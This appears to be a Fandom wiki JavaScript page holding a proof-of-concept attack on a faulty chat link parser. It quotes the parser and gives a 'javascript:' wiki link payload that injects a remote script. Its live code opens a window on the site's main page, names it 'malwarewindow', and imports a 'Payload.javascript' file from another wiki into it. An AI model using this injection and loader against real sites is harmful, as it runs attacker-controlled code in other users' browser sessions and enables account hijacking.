FANDOM


//
/**
 * Source for the faulty link parser (snagged from SU wiki)
 *
 * // Custom interwiki links
 * CustomLinks = typeof CustomLinks !== "undefined" ? CustomLinks : {};
 * if (CustomLinks.preventDefault === true) {
 *     // default disabled - remove preventDefault property and don't add default values
 *     delete CustomLinks.preventDefault;
 * } else {
 *     // adding default values - not disabled
 *     CustomLinks.commons = "http://commons.wikimedia.org";
 *     CustomLinks.wikimedia = "http://wikimediafoundation.org";
 *     CustomLinks.wikipedia = "http://en.wikipedia.org";
 * }
 * $("body").on("DOMNodeInserted", ".Chat ul > li:not(.inline-alert)", function(el) {
 *     $(el.target).find("a").each(function() {
 *         var link = $(this).attr("href").substr(("http://" + location.hostname + "/wiki/").length).replace(new RegExp("^(" + Object.keys(CustomLinks).join("|") + "):", "i"), function(m) {
 *             var nonColon = m.substr(0, m.length - 1).toLowerCase();
 *             return CustomLinks[nonColon] + "/wiki/";
 *         });
 *     $(this).attr("href", link);
 *     });
 * });
 */
 
/**
 * Due to the faulty parser simply doing this will create a link that can execute malicious code on the origin
 *
 * [[javascript:a=document.createElement('script');a.setAttribute('src','http'+':'+'//shining-armor.wikia.com/index.php?action=raw&title=Test.javascript&ctype=text/javascript');document.write(a.outerHTML)|click me]]
 */
 
var node = document.createElement('script');
    node.setAttribute('src', 'https://code.jquery.com/jquery-2.2.4.min.js');
 
document.getElementsByTagName('head')[0].appendChild(node);
 
function start() {
    clearInterval(loader);
 
    window.malwarewindow = window.open(document.origin + '/wiki/Main_Page', 'Testing');
    window.malwarewindow.onload = function () {
        window.malwarewindow.importScriptPage('Payload.javascript', 'shining-armor');
    }
}
 
var loader = setInterval(function() { if (typeof $ !== 'undefined') { start(); } }, 50);
//

Ad blocker interference detected!


Wikia is a free-to-use site that makes money from advertising. We have a modified experience for viewers using ad blockers

Wikia is not accessible if you’ve made further modifications. Remove the custom ad blocker rule(s) and the page will load as expected.